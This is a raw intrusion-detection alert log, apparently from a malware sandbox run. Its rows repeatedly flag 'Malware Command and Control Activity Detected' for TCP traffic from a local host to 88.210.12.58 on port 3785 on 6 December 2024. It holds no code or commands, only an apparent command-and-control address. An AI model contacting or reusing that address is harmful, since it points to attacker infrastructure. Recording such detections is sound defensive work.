2024-12-06T10:40:47.842544+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:47.943500+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:48.045375+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:48.144514+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:48.244514+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:48.344512+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:48.444527+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:48.547421+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:48.647395+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:48.745524+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:48.845515+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:48.949410+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:49.047667+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:49.148528+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:49.249543+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:49.350541+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:49.450555+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:49.551536+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:49.651608+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:49.751553+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:49.852562+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:49.952560+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:50.057391+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:50.157380+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:50.256104+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:50.355462+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:50.455611+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:50.555626+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:50.655568+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:50.756534+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:50.857567+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:50.960213+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:51.058594+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:51.158634+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:51.940552+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:51.940552+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:52.143905+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:52.243445+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:52.343436+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:52.443454+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:52.543545+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:52.645396+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:52.747408+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:52.847549+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:52.947519+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:53.045607+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:53.146557+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:53.246604+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:53.347606+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:53.448576+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:53.548587+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:53.648555+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:53.749542+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:53.849838+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:53.949573+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:54.053425+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:54.150717+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:54.255777+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:54.567649+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:54.567649+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:54.768578+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:54.869421+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:54.969719+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:55.069554+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:55.169607+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:55.270597+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:55.371669+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:55.472613+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:55.572561+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:55.673580+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:55.773588+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:55.874589+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:55.974561+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:56.077432+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:56.177399+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:56.279548+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:56.377576+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:56.481470+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:56.578549+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:56.678552+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:56.781415+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:56.880554+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:56.980562+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:57.081609+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:57.182595+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:57.282635+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:57.382580+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:57.482683+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:57.582603+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:57.683618+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:57.783594+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:57.884603+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:57.985685+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:58.089442+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:58.189440+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:58.289443+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:58.386599+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:58.486603+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:58.589427+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:58.688576+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:58.789613+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:58.890641+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:58.993446+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:59.091624+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:59.192572+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:59.292664+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:59.393623+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:59.493613+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:59.593629+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:59.694579+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:59.795592+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:59.895612+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:40:59.995606+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:00.097475+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:00.196583+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:00.296576+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:00.396585+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:00.596582+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:00.701452+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:00.701452+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:00.798621+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:00.900217+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:01.003902+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:01.100624+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:01.201656+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:01.302618+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:01.402655+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:01.503711+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:01.603574+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:01.704631+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:01.804641+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:01.905578+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:02.005586+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:02.109452+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:02.206630+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:02.307702+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:02.409442+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:02.508588+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:02.608676+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:02.713469+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:02.809640+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:02.913451+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:03.019874+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:03.430593+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:03.430593+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:03.632632+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:03.733613+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:03.834644+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:03.934651+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:04.034621+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:04.135627+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:04.237468+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:04.337748+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:04.438648+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:04.541671+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:04.641464+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:04.741493+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:04.841462+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:04.941619+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:05.041643+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:05.141646+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:05.242639+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:05.343663+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:05.443618+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:05.543648+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:05.643682+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:05.744635+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:05.844650+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:05.944653+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:06.045649+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:06.146608+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:06.246612+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:06.347603+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:06.449484+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:06.547632+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:06.649477+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:06.749470+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:06.849479+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:06.949725+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:07.053474+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:07.150626+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:07.251666+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:07.351690+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:07.452739+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:07.552718+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:07.653612+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:07.754804+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:08.064905+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:08.064905+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:08.265659+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:08.365679+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:08.465744+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:08.566637+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:08.669492+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:08.767693+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:08.868641+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:08.969632+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:09.069661+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:09.170664+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:09.271656+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:09.372764+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:09.472701+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:09.575516+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:09.676648+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:09.776664+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:09.877644+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:09.978669+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:10.078634+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:10.179669+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:10.279642+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:10.385506+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:10.481655+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:10.608735+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:10.608735+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:11.022625+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:11.022625+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:11.223644+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:11.323692+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:11.424658+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:11.525632+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:11.625858+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:11.726748+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:11.827665+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:11.927728+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:12.028762+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:12.129646+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
2024-12-06T10:41:12.229657+0100	2827745	1	Malware Command and Control Activity Detected	192.168.2.6	49737	88.210.12.58	3785	TCP
